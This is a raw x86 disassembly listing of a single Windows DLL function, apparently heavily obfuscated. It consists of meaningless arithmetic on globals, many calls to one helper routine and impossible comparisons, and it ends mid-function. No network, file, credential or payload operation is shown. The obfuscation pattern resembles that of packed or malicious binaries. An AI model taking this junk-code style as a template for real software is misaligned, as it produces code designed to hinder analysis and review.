mov dword [ebp - 0xa6c], eax
cmp dword [ebp - 0xa6c], 0xd8274
jg 0x1004aef3
jl 0x1004ae87
cmp dword [ebp - 0xa70], 0xdd6fc85a
ja 0x1004aef3
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov cl, 8
call fcn.100998f0
mov word [0x100cd094], ax
movsx ecx, byte [0x100cd047]
mov edx, dword [0x100cd100]
imul edx, ecx
mov dword [0x100cd100], edx
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0xbd4], edx
movsx eax, byte [ebp - 0x12]
cdq
mov esi, eax
sub esi, ecx
movsx eax, byte [ebp - 0x12]
cdq
and eax, esi
mov byte [ebp - 0x12], al
mov eax, dword [0x100cdb38]
xor ecx, ecx
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], ecx
mov edx, 4
mov word [0x100cd0dc], dx
mov eax, dword [ebp - 0xdc]
add eax, 0x9e
mov dword [ebp - 0xbd8], eax
movsx ecx, byte [0x100cd026]
movzx edx, byte [ebp - 0x11]
cmp edx, ecx
jle 0x1004af1f
mov dword [ebp - 0x264], 1
jmp 0x1004af29
mov dword [ebp - 0x264], 0
movzx eax, byte [ebp - 0x11]
cmp eax, 0x21
jle 0x1004af3e
mov dword [ebp - 0x268], 1
jmp 0x1004af48
mov dword [ebp - 0x268], 0
mov ecx, dword [ebp - 0x264]
cmp ecx, dword [ebp - 0x268]
jge 0x1004b0a8
cmp dword [0x100cd0c8], 0
je 0x1004b058
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
push 0
push 0xbe16e1a3
push eax
push edx
call fcn.10099890
mov ecx, eax
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
add eax, ecx
mov byte [str.6BlockUpgradeIfDriv], al
movzx eax, byte [0x100cd06e]
cdq
mov ecx, dword [0x100cd0fc]
push ecx
mov ecx, dword [0x100cd0f8]
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
movzx eax, byte [0x100cd06e]
cdq
add eax, ecx
mov byte [0x100cd06e], al
movsx edx, word [0x100cd0e8]
test edx, edx
jne 0x1004afd6
mov dword [ebp - 0x26c], 1
jmp 0x1004afe0
mov dword [ebp - 0x26c], 0
movsx eax, word [ebp - 0x28]
add eax, dword [ebp - 0x26c]
jne 0x1004aff8
mov dword [ebp - 0x270], 1
jmp 0x1004b002
mov dword [ebp - 0x270], 0
mov ecx, dword [ebp - 0x70]
movsx edx, byte [ebp - 0x12]
add edx, dword [ebp - 0x270]
add ecx, edx
movzx eax, word [ebp - 0x30]
movzx edx, word [ebp - 0x1c]
add edx, eax
movsx eax, word [ebp - 0x28]
and eax, edx
add eax, ecx
xor ecx, ecx
mov dword [0x100cd088], eax
mov dword [0x100cd08c], ecx
movzx edx, byte [ebp - 0x11]
sar edx, 2
mov byte [ebp - 0x14], dl
movzx eax, byte [0x100cd06e]
imul eax, dword [ebp - 0x38]
mov byte [0x100cd06e], al
movzx eax, word [ebp - 0x1c]
cdq
add eax, dword [ebp - 0x54]
mov word [ebp - 0x1c], ax
jmp 0x1004b0a3
mov ecx, dword [0x100cd0ac]
add ecx, 0xcd7b
mov byte [0x100cd083], cl
movsx edx, word [0x100cd0e8]
imul eax, edx, 0xd5ec
mov word [0x100cd0b8], ax
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x60]
add ecx, dword [0x100cd0a0]
mov edx, dword [ebp - 0x60]
add edx, ecx
mov dword [ebp - 0x60], edx
jmp 0x1004b2b2
cmp dword [0x100cd0e4], 0
je 0x1004b0f0
movzx eax, word [ebp - 0x18]
mov ecx, dword [0x100cd090]
add ecx, eax
mov dword [0x100cd090], ecx
mov dl, byte [ebp - 0x24]
mov byte [ebp - 0x11], dl
mov ax, word [0x100cd110]
add ax, 1
mov word [0x100cd110], ax
mov ecx, dword [0x100cd084]
sub ecx, 0x5fa3
mov dword [0x100cd090], ecx
jmp 0x1004b2b2
movzx edx, word [ebp - 0x18]
not edx
test edx, edx
jne 0x1004b109
movsx eax, byte [0x100cd047]
test eax, eax
je 0x1004b200
movzx ecx, byte [ebp - 0x11]
movsx eax, word [0x100cd0e8]
xor eax, ecx
cdq
mov edx, dword [ebp - 0x54]
sub edx, eax
mov dword [0x100cd0f0], edx
mov byte [ebp - 0x14], 0x13
movsx eax, byte [0x100cd06f]
sub eax, 0xc9
movzx ecx, word [ebp - 0x24]
imul ecx, eax
mov word [ebp - 0x24], cx
movzx edx, word [ebp - 0x24]
movzx eax, word [0x100cd0b8]
add eax, edx
jne 0x1004b160
xor ecx, ecx
mov dword [ebp - 0x68c], 1
mov dword [ebp - 0x688], ecx
jmp 0x1004b16b
xorps xmm0, xmm0
movlpd qword [ebp - 0x68c], xmm0
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xa78], edx
mov dword [ebp - 0xa74], eax
mov ecx, dword [ebp - 0xa78]
or ecx, dword [ebp - 0xa74]
jne 0x1004b19f
xor edx, edx
mov dword [ebp - 0x684], 1
mov dword [ebp - 0x680], edx
jmp 0x1004b1aa
xorps xmm0, xmm0
movlpd qword [ebp - 0x684], xmm0
movsx esi, byte [0x100cd026]
add esi, dword [ebp - 0x60]
xor edi, edi
mov eax, dword [ebp - 0x680]
push eax
mov ecx, dword [ebp - 0x684]
push ecx
mov edx, dword [0x100cd0b4]
push edx
mov eax, dword [0x100cd0b0]
push eax
call fcn.10099890
not eax
not edx
sub eax, esi
sbb edx, edi
mov ecx, dword [ebp - 0x68c]
sub ecx, eax
mov eax, dword [ebp - 0x688]
sbb eax, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x3c], 2
jmp 0x1004b2b2
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0xa80], ecx
mov dword [ebp - 0xa7c], edx
mov eax, dword [ebp - 0xa80]
or eax, dword [ebp - 0xa7c]
je 0x1004b2b2
movsx ecx, word [0x100cd0e8]
sub ecx, dword [0x100cd104]
movsx edx, word [0x100cd0e8]
sub edx, ecx
mov word [0x100cd0e8], dx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0xbdc], ecx
mov byte [0x100cd06e], al
mov edx, dword [0x100cd090]
sub edx, 0x58d5a83a
mov dword [0x100cd104], edx
movsx eax, byte [0x100cd083]
cdq
sub eax, 0xcae8ac3a
mov word [0x100cd10c], ax
mov eax, dword [0x100cd0e4]
xor ecx, ecx
sub eax, 0x600b83bd
sbb ecx, 0xc8ffa
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], ecx
movsx eax, word [0x100cd110]
cdq
mov ecx, dword [ebp - 0x68]
push ecx
mov ecx, dword [ebp - 0x6c]
push ecx
push edx
push eax
call fcn.10099890
mov word [0x100cd110], ax
mov edx, dword [0x100cdb38]
mov dword [ebp - 0xe0], edx
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
mov dword [ebp - 0xa88], eax
mov dword [ebp - 0xa84], ecx
mov edx, dword [ebp - 0xa88]
or edx, dword [ebp - 0xa84]
jne 0x1004b2ef
mov dword [ebp - 0x274], 1
jmp 0x1004b2f9
mov dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x274], eax
jle 0x1004b310
mov dword [ebp - 0x278], 1
jmp 0x1004b31a
mov dword [ebp - 0x278], 0
movsx ecx, word [0x100cd0ec]
cmp dword [ebp - 0x278], ecx
jg 0x1004b335
mov dword [ebp - 0x288], 1
jmp 0x1004b33f
mov dword [ebp - 0x288], 0
movsx edx, byte [0x100cd096]
cmp edx, 0xbadc5e8c
jbe 0x1004b35a
mov dword [ebp - 0x284], 1
jmp 0x1004b364
mov dword [ebp - 0x284], 0
movzx eax, byte [0x100cd07f]
test eax, eax
jne 0x1004b37b
mov dword [ebp - 0x27c], 1
jmp 0x1004b385
mov dword [ebp - 0x27c], 0
movsx ecx, byte [0x100cd096]
cmp dword [ebp - 0x27c], ecx
jl 0x1004b3a0
mov dword [ebp - 0x280], 1
jmp 0x1004b3aa
mov dword [ebp - 0x280], 0
mov edx, dword [ebp - 0x280]
not edx
add edx, dword [ebp - 0x284]
cmp dword [ebp - 0x288], edx
jne 0x1004b41f
mov ecx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
movsx eax, byte [0x100cd047]
not eax
cdq
xor eax, ecx
xor edx, esi
movsx ecx, word [ebp - 0x28]
add ecx, dword [ebp - 0x38]
xor esi, esi
push edx
push eax
push esi
push ecx
call fcn.10099890
not eax
not edx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movsx edx, byte [0x100cd06f]
add edx, 0x79e8
mov dword [0x100cd100], edx
xor eax, eax
mov dword [ebp - 0x5c], 0x7f54
mov dword [ebp - 0x58], eax
movzx eax, word [ebp - 0x18]
cdq
sub eax, 0xe2fd18ed
mov word [ebp - 0x24], ax
jmp 0x1004b484
movsx ecx, word [ebp - 0x28]
cmp ecx, dword [ebp - 0x60]
ja 0x1004b434
mov dword [ebp - 0x28c], 1
jmp 0x1004b43e
mov dword [ebp - 0x28c], 0
cmp dword [ebp - 0x28c], 0xdf
je 0x1004b484
mov edx, dword [ebp - 0x6c]
add edx, 0xd7ef
mov eax, dword [ebp - 0x68]
adc eax, 0
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], eax
mov cx, word [0x100cdb38]
mov word [ebp - 0x30], cx
mov dword [ebp - 0x70], 0xbf81
movsx edx, word [0x100cd0ec]
sub edx, 0x6769b4b8
mov byte [str.6BlockUpgradeIfDriv], dl
mov eax, dword [ebp - 0xe0]
add eax, 0x1a2
mov dword [ebp - 0x538], eax
push 0x36
push 0xffffffffffffffa3
call fcn.1005fe20
add esp, 8
movsx ecx, al
mov dword [0x100cd0e0], ecx
cmp dword [0x100cd0a8], 0
jne 0x1004b4d7
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xa90], edx
mov dword [ebp - 0xa8c], eax
mov ecx, dword [ebp - 0xa90]
or ecx, dword [ebp - 0xa8c]
je 0x1004b60f
xor edx, edx
mov dword [ebp - 0x78], 4
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x4c]
cdq
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
add ecx, eax
adc esi, edx
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
sub edx, ecx
sbb eax, esi
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], eax
mov cl, byte [ebp - 0x60]
mov byte [ebp - 0x12], cl
movsx eax, word [ebp - 0x34]
cdq
mov ecx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
not ecx
not esi
push edx
push eax
push esi
push ecx
call fcn.10099890
mov dword [ebp - 0xa98], eax
mov dword [ebp - 0xa94], edx
mov edx, dword [ebp - 0xa98]
or edx, dword [ebp - 0xa94]
jne 0x1004b54b
mov dword [ebp - 0x290], 1
jmp 0x1004b555
mov dword [ebp - 0x290], 0
movzx eax, byte [0x100cd06e]
movzx ecx, word [0x100cd094]
imul ecx, eax
add ecx, dword [ebp - 0x290]
mov eax, ecx
cdq
mov esi, eax
mov edi, edx
mov edx, dword [ebp - 0x54]
not edx
mov eax, dword [ebp - 0x50]
not eax
push eax
push edx
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
call fcn.10099890
mov ecx, eax
mov ebx, edx
mov edx, dword [ebp - 0x3c]
not edx
movzx eax, byte [ebp - 0x11]
not eax
xor eax, edx
cdq
push ebx
push ecx
push edx
push eax
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
mov word [ebp - 0x18], ax
mov eax, dword [0x100cd0f0]
xor ecx, ecx
add eax, 0xd2b1c0bd
adc ecx, 0xa1a7b
mov edx, dword [0x100cd0e4]
xor esi, esi
add edx, dword [ebp - 0x6c]
adc esi, dword [ebp - 0x68]
push ecx
push eax
push esi
push edx
call fcn.10099890
mov ecx, eax
mov eax, dword [ebp - 0x40]
cdq
mov edx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0xbe0], esi
or edx, eax
movsx eax, word [0x100cd0e8]
add eax, dword [0x100cd0e0]
not eax
sub eax, edx
add eax, ecx
mov word [0x100cd0b8], ax
jmp 0x1004b84f
movsx ecx, word [0x100cd0ec]
cmp dword [0x100cd104], ecx
jg 0x1004b62a
mov dword [ebp - 0x294], 1
jmp 0x1004b634
mov dword [ebp - 0x294], 0
movzx edx, word [ebp - 0x20]
not edx
cmp dword [ebp - 0x294], edx
jle 0x1004b762
movzx eax, word [0x100cd094]
imul eax, dword [0x100cd0ac]
mov word [0x100cd094], ax
imul ecx, dword [ebp - 0x38], 0x93
mov word [0x100cd0ec], cx
movzx edx, byte [ebp - 0x14]
movzx eax, word [ebp - 0x1c]
not eax
imul eax, edx
cdq
mov ecx, eax
mov esi, edx
movzx edx, byte [ebp - 0x14]
movsx eax, byte [0x100cd06f]
imul eax, edx
cdq
sub eax, 0x178b92c1
sbb edx, 0x13be1
add eax, ecx
adc edx, esi
not eax
not edx
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
movzx eax, byte [ebp - 0x11]
movzx ecx, byte [ebp - 0x13]
add ecx, eax
mov byte [ebp - 0x13], cl
movzx edx, word [ebp - 0x24]
movsx eax, word [0x100cd098]
sub eax, edx
mov word [0x100cd098], ax
movzx ecx, word [0x100cd0b8]
test ecx, ecx
jne 0x1004b6de
mov dword [ebp - 0x298], 1
jmp 0x1004b6e8
mov dword [ebp - 0x298], 0
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x298]
jne 0x1004b6ff
mov dword [ebp - 0x29c], 1
jmp 0x1004b709
mov dword [ebp - 0x29c], 0
movsx eax, word [0x100cd0d8]
movsx ecx, word [0x100cd0e8]
imul ecx, eax
mov eax, dword [ebp - 0x29c]
sub eax, ecx
cdq
mov esi, eax
movsx edx, byte [0x100cd083]
movsx eax, word [0x100cd0d8]
add eax, edx
cdq
mov edi, eax
mov eax, dword [0x100cd0e4]
xor ecx, ecx
mov edx, dword [0x100cd0a4]
push edx
mov edx, dword [0x100cd0a0]
push edx
push ecx
push eax
call fcn.10099890
or eax, edi
add eax, esi
mov dword [0x100cd100], eax
jmp 0x1004b84f
movzx eax, byte [0x100cd07f]
test eax, eax
je 0x1004b7ea
movsx eax, word [ebp - 0x28]
cdq
mov ecx, eax
add ecx, dword [0x100cd0d0]
movsx eax, word [ebp - 0x28]
cdq
add eax, ecx
mov word [ebp - 0x28], ax
mov edx, 2
mov word [0x100cd0b8], dx
movzx eax, word [ebp - 0x20]
test eax, eax
jne 0x1004b7a7
mov ecx, 1
mov word [ebp - 0x96], cx
jmp 0x1004b7b0
xor edx, edx
mov word [ebp - 0x96], dx
mov ax, word [ebp - 0x96]
mov word [0x100cd098], ax
movzx ecx, word [0x100cd094]
sub ecx, dword [ebp - 0x64]
movzx edx, word [0x100cd094]
imul edx, ecx
mov word [0x100cd094], dx
movsx eax, word [0x100cd0d8]
sub eax, dword [ebp - 0x38]
mov word [0x100cd0d8], ax
jmp 0x1004b84f
movsx ecx, word [0x100cd0e8]
not ecx
test ecx, ecx
je 0x1004b84f
movzx edx, byte [0x100cd07f]
mov eax, dword [0x100cd090]
add eax, edx
mov dword [0x100cd090], eax
mov ecx, 0x792c
mov word [0x100cd0ec], cx
mov dword [ebp - 0x3c], 0xf
movzx edx, word [ebp - 0x18]
movzx eax, byte [0x100cd07f]
or eax, edx
xor eax, 0xe7
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movzx eax, word [0x100cd10c]
sub eax, 0x79d4
cdq
add eax, dword [ebp - 0x6c]
adc edx, dword [ebp - 0x68]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0xe0]
add eax, 0x2d5
mov dword [ebp - 0x7ac], eax
movzx ecx, word [0x100cd10c]
movsx edx, byte [0x100cd06f]
cmp edx, ecx
jg 0x1004ba73
cmp dword [ebp - 0x40], 0
je 0x1004b8e3
mov eax, dword [ebp - 0x78]
xor eax, 0xb65
mov word [ebp - 0x1c], ax
imul ecx, dword [0x100cd0a8], 0xd257b190
mov dword [0x100cd084], ecx
mov edx, dword [0x100cd084]
and edx, 0xf6
movsx eax, byte [0x100cd026]
add eax, edx
mov byte [0x100cd026], al
movsx ecx, word [0x100cd0dc]
imul edx, ecx, 0xcfb85882
xor eax, eax
mov dword [0x100cd0d0], edx
mov dword [0x100cd0d4], eax
movzx ecx, word [ebp - 0x1c]
add ecx, dword [ebp - 0x40]
movzx edx, word [ebp - 0x1c]
imul edx, ecx
mov word [ebp - 0x1c], dx
jmp 0x1004ba6e
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x58]
movsx eax, byte [ebp - 0x12]
cdq
mov dword [ebp - 0xaa0], eax
mov dword [ebp - 0xa9c], edx
mov dword [ebp - 0xaa8], ecx
mov dword [ebp - 0xaa4], esi
mov edx, dword [ebp - 0xa9c]
cmp edx, dword [ebp - 0xaa4]
jl 0x1004b9ae
jg 0x1004b92c
mov eax, dword [ebp - 0xaa0]
cmp eax, dword [ebp - 0xaa8]
jbe 0x1004b9ae
movzx ecx, byte [0x100cd082]
movzx edx, byte [ebp - 0x14]
imul edx, ecx
test edx, edx
jne 0x1004b94a
mov dword [ebp - 0x2a0], 1
jmp 0x1004b954
mov dword [ebp - 0x2a0], 0
movzx eax, word [ebp - 0x20]
sub eax, dword [ebp - 0x2a0]
mov dword [0x100cd0e0], eax
movsx eax, byte [0x100cd047]
xor eax, 0x5494
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx ecx, word [0x100cd0d8]
add ecx, dword [ebp - 0x38]
mov dword [0x100cd0a8], ecx
movsx edx, byte [0x100cd06f]
movsx eax, byte [0x100cd096]
imul eax, edx
mov byte [0x100cd096], al
mov ecx, dword [0x100cd0e0]
shl ecx, 6
mov word [ebp - 0x30], cx
jmp 0x1004ba6e
movzx edx, word [ebp - 0x30]
test edx, edx
je 0x1004ba6e
mov eax, 0xd63c7
mov dword [0x100cd0c0], 0x2a181648
mov dword [0x100cd0c4], eax
movsx eax, word [0x100cd110]
cdq
add eax, dword [0x100cd118]
adc edx, dword [0x100cd11c]
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
movsx ecx, word [0x100cd0dc]
imul edx, ecx, 0x972c469b
xor eax, eax
mov dword [0x100cd118], edx
mov dword [0x100cd11c], eax
movzx ecx, word [ebp - 0x18]
sub ecx, dword [0x100cd090]
movzx edx, word [ebp - 0x18]
add edx, ecx
mov word [ebp - 0x18], dx
movzx eax, word [ebp - 0x1c]
movzx ecx, word [ebp - 0x30]
and eax, ecx
cdq
mov ecx, dword [ebp - 0x6c]
xor ecx, dword [0x100cd0a0]
mov esi, dword [ebp - 0x68]
xor esi, dword [0x100cd0a4]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov esi, eax
mov edi, edx
movsx edx, byte [ebp - 0x12]
mov eax, dword [0x100cd0c8]
sub eax, edx
cdq
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push edx
push eax
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
mov dword [0x100cd0e4], eax
jmp 0x1004baf3
movzx edx, word [ebp - 0x1c]
test edx, edx
je 0x1004ba91
movsx eax, byte [0x100cd06f]
cdq
mov dword [ebp - 0x694], eax
mov dword [ebp - 0x690], edx
jmp 0x1004baa3
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x694], eax
mov dword [ebp - 0x690], ecx
mov edx, dword [ebp - 0x694]
mov dword [0x100cd0f0], edx
mov eax, 0xdaa4
mov word [0x100cd0b8], ax
mov byte [0x100cd06f], 0x11
movsx ecx, word [ebp - 0x2c]
add ecx, dword [0x100cd084]
mov edx, dword [0x100cd084]
sub edx, ecx
mov dword [0x100cd084], edx
movzx eax, word [0x100cd10c]
sub eax, 0xd7
mov word [ebp - 0x2c], ax
imul ecx, dword [ebp - 0x3c], 0x50c2f80d
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0xe0]
add edx, 0x374
mov dword [ebp - 0x140], edx
movsx eax, byte [str.6BlockUpgradeIfDriv]
cmp eax, dword [ebp - 0x64]
ja 0x1004bb1d
mov dword [ebp - 0x2a4], 1
jmp 0x1004bb27
mov dword [ebp - 0x2a4], 0
movsx ecx, byte [str.6BlockUpgradeIfDriv]
cmp ecx, 0x4b
jg 0x1004bb3f
mov dword [ebp - 0x2a8], 1
jmp 0x1004bb49
mov dword [ebp - 0x2a8], 0
mov edx, dword [ebp - 0x2a4]
cmp edx, dword [ebp - 0x2a8]
jle 0x1004bc77
push 0
push 0x65
push 0
push 0x72
push 0
movzx eax, byte [0x100cd108]
push eax
call fcn.1005b9d0
add esp, 0x18
movzx eax, al
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
cmp dword [ebp - 0x50], 0
ja 0x1004bb99
jb 0x1004bb8d
cmp dword [ebp - 0x54], 0
jae 0x1004bb99
mov dword [ebp - 0x2ac], 1
jmp 0x1004bba3
mov dword [ebp - 0x2ac], 0
cmp dword [ebp - 0x50], 0
ja 0x1004bbbd
jb 0x1004bbb1
cmp dword [ebp - 0x54], 0x1b
jae 0x1004bbbd
mov dword [ebp - 0x2b0], 1
jmp 0x1004bbc7
mov dword [ebp - 0x2b0], 0
mov ecx, dword [ebp - 0x2ac]
cmp ecx, dword [ebp - 0x2b0]
jg 0x1004bc72
cmp dword [ebp - 0x38], 0
je 0x1004bc72
mov edx, dword [0x100cd0f0]
mov word [0x100cd0d8], dx
movsx eax, word [ebp - 0x34]
sub eax, 0x84fd
mov word [0x100cd0b8], ax
push 0
push 0x40f
mov ecx, dword [0x100cd0d4]
push ecx
mov edx, dword [0x100cd0d0]
push edx
call fcn.10099890
mov word [0x100cd098], ax
cmp dword [ebp - 0x38], 0
je 0x1004bc30
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2b4], eax
jmp 0x1004bc3a
movzx ecx, word [ebp - 0x24]
mov dword [ebp - 0x2b4], ecx
mov dx, word [ebp - 0x2b4]
mov word [0x100cd108], dx
mov eax, dword [0x100cd0b0]
add eax, 0x6a
mov word [0x100cd0d8], ax
movsx eax, word [0x100cd0dc]
cdq
push 0x272fb
push 0xa03bc56f
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x40], eax
jmp 0x1004bd24
movsx ecx, byte [0x100cd06f]
movzx edx, byte [ebp - 0x13]
cmp edx, ecx
jg 0x1004bc92
mov dword [ebp - 0x2b8], 1
jmp 0x1004bc9c
mov dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x2b8]
not eax
mov ecx, dword [0x100cd0e4]
sub ecx, eax
je 0x1004bd24
movzx edx, byte [ebp - 0x11]
add edx, 0xbc3c
mov word [0x100cd0e8], dx
movzx eax, word [0x100cd0b8]
cdq
push 0x68a96
push 0x42db491d
push edx
push eax
call fcn.10099890
mov word [0x100cd10c], ax
xor eax, eax
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
sub ecx, dword [0x100cd0f0]
sbb edx, eax
mov eax, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
and eax, ecx
and esi, edx
mov dword [0x100cd0c0], eax
mov dword [0x100cd0c4], esi
movzx ecx, word [ebp - 0x30]
shl ecx, 4
mov dword [ebp - 0x60], ecx
xor edx, edx
mov dword [ebp - 0x54], 0x7f60
mov dword [ebp - 0x50], edx
mov eax, dword [0x100cdb38]
mov dword [ebp - 0xe4], eax
movzx ecx, byte [ebp - 0x13]
test ecx, ecx
je 0x1004bd4b
movsx edx, word [ebp - 0x28]
test edx, edx
jne 0x1004bd4b
mov dword [ebp - 0x2c0], 0
jmp 0x1004bd55
mov dword [ebp - 0x2c0], 1
movsx eax, byte [0x100cd096]
test eax, eax
jne 0x1004bd74
movsx ecx, byte [ebp - 0x12]
test ecx, ecx
jne 0x1004bd74
mov dword [ebp - 0x2bc], 0
jmp 0x1004bd7e
mov dword [ebp - 0x2bc], 1
mov edx, dword [ebp - 0x2bc]
not edx
imul edx, dword [ebp - 0x2c0]
test edx, edx
je 0x1004bdd1
movzx eax, byte [0x100cd06e]
movsx ecx, byte [ebp - 0x12]
sub ecx, eax
mov byte [ebp - 0x12], cl
imul edx, dword [0x100cd090], 0x47
mov word [0x100cd0ec], dx
movzx eax, word [ebp - 0x24]
add eax, 0x14
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov byte [0x100cd027], 0x84
mov al, byte [0x100cdb38]
mov byte [ebp - 0x12], al
jmp 0x1004beb4
movsx ecx, byte [ebp - 0x12]
test ecx, ecx
jne 0x1004beb4
mov edx, dword [ebp - 0x54]
xor edx, 0xad7297fd
mov eax, dword [ebp - 0x50]
xor eax, 0x15c50
push eax
push edx
mov ecx, dword [0x100cd0fc]
push ecx
mov edx, dword [0x100cd0f8]
push edx
call fcn.10099890
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
mov eax, dword [ebp - 0x40]
sub eax, 0x3cab18f6
mov word [ebp - 0x20], ax
movsx ecx, byte [0x100cd026]
imul edx, ecx, 0xd4ccbf41
xor eax, eax
mov dword [0x100cd118], edx
mov dword [0x100cd11c], eax
movzx ecx, byte [ebp - 0x11]
movsx eax, word [0x100cd0e8]
xor eax, ecx
cdq
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
xor ecx, eax
xor esi, edx
mov edi, dword [ebp - 0x5c]
mov ebx, dword [ebp - 0x58]
movzx eax, word [0x100cd10c]
cdq
xor eax, edi
xor edx, ebx
movsx edi, byte [0x100cd047]
xor edi, dword [ebp - 0x38]
xor ebx, ebx
xor edi, eax
xor ebx, edx
push esi
push ecx
push ebx
push edi
call fcn.10099890
mov word [0x100cd0ec], ax
movsx edx, byte [0x100cd026]
movsx eax, word [0x100cd110]
xor eax, edx
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
mov dword [ebp - 0xbe4], ecx
add eax, 0x5e045364
mov word [ebp - 0x2c], ax
mov edx, dword [ebp - 0xe4]
add edx, 0x15c
mov dword [ebp - 0x7b8], edx
movsx eax, word [0x100cd110]
cdq
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0xaac], edx
mov eax, dword [ebp - 0xaac]
cmp eax, dword [0x100cd0fc]
jl 0x1004bf04
jg 0x1004bef8
mov ecx, dword [ebp - 0xab0]
cmp ecx, dword [0x100cd0f8]
jb 0x1004bf04
mov dword [ebp - 0x2c4], 1
jmp 0x1004bf0e
mov dword [ebp - 0x2c4], 0
movsx edx, word [0x100cd110]
cmp edx, 0x2b
jl 0x1004bf26
mov dword [ebp - 0x2c8], 1
jmp 0x1004bf30
mov dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x2c4]
cmp eax, dword [ebp - 0x2c8]
je 0x1004bf49
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [0x100cd100], eax
mov ecx, dword [ebp - 0xe4]
add ecx, 0x208
mov dword [ebp - 0xac], ecx
mov edx, 4
mov word [0x100cd0ec], dx
movzx eax, word [ebp - 0x20]
movzx ecx, word [ebp - 0x30]
sub ecx, eax
mov word [ebp - 0x30], cx
movsx edx, word [0x100cd0dc]
imul eax, edx, 0xd0c2
mov dword [ebp - 0x3c], eax
movsx ecx, byte [str.6BlockUpgradeIfDriv]
movsx edx, word [0x100cd110]
add edx, ecx
movsx eax, word [0x100cd110]
sub eax, edx
mov word [0x100cd110], ax
movsx ecx, word [ebp - 0x34]
test ecx, ecx
jne 0x1004bfba
mov edx, 1
mov word [ebp - 0x98], dx
jmp 0x1004bfc3
xor eax, eax
mov word [ebp - 0x98], ax
mov cx, word [ebp - 0x98]
mov word [ebp - 0x2c], cx
mov ecx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
sub ecx, 0xfc8a
sbb esi, 0
movzx eax, byte [0x100cd027]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov byte [0x100cd027], al
movsx edx, word [0x100cd0ec]
mov dword [ebp - 0x2cc], edx
cmp dword [ebp - 0x2cc], 4
ja case.default.0x1004c013
mov eax, dword [ebp - 0x2cc]
jmp dword [eax*4 + 0x1005543c]
mov ecx, dword [0x100cd0f0]
xor edx, edx
push edx
push ecx
mov eax, dword [0x100cd0fc]
push eax
mov ecx, dword [0x100cd0f8]
push ecx
call fcn.10099890
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
movsx edx, word [ebp - 0x28]
imul eax, edx, 0xd981
mov dword [0x100cd0c8], eax
movzx eax, word [ebp - 0x30]
cdq
mov ecx, 8
imul ecx, ecx, 0x3e
mov dword [ecx + 0x102d2270], eax
mov dword [ecx + 0x102d2274], edx
movzx eax, word [ebp - 0x20]
cdq
mov ecx, dword [ebp - 0x6c]
sub ecx, eax
mov eax, dword [ebp - 0x68]
sbb eax, edx
mov dword [0x100cd0c0], ecx
mov dword [0x100cd0c4], eax
mov ecx, dword [ebp - 0x4c]
mov dword [0x100cd0ac], ecx
jmp case.default.0x1004c013
movsx edx, byte [str.6BlockUpgradeIfDriv]
add edx, dword [ebp - 0x3c]
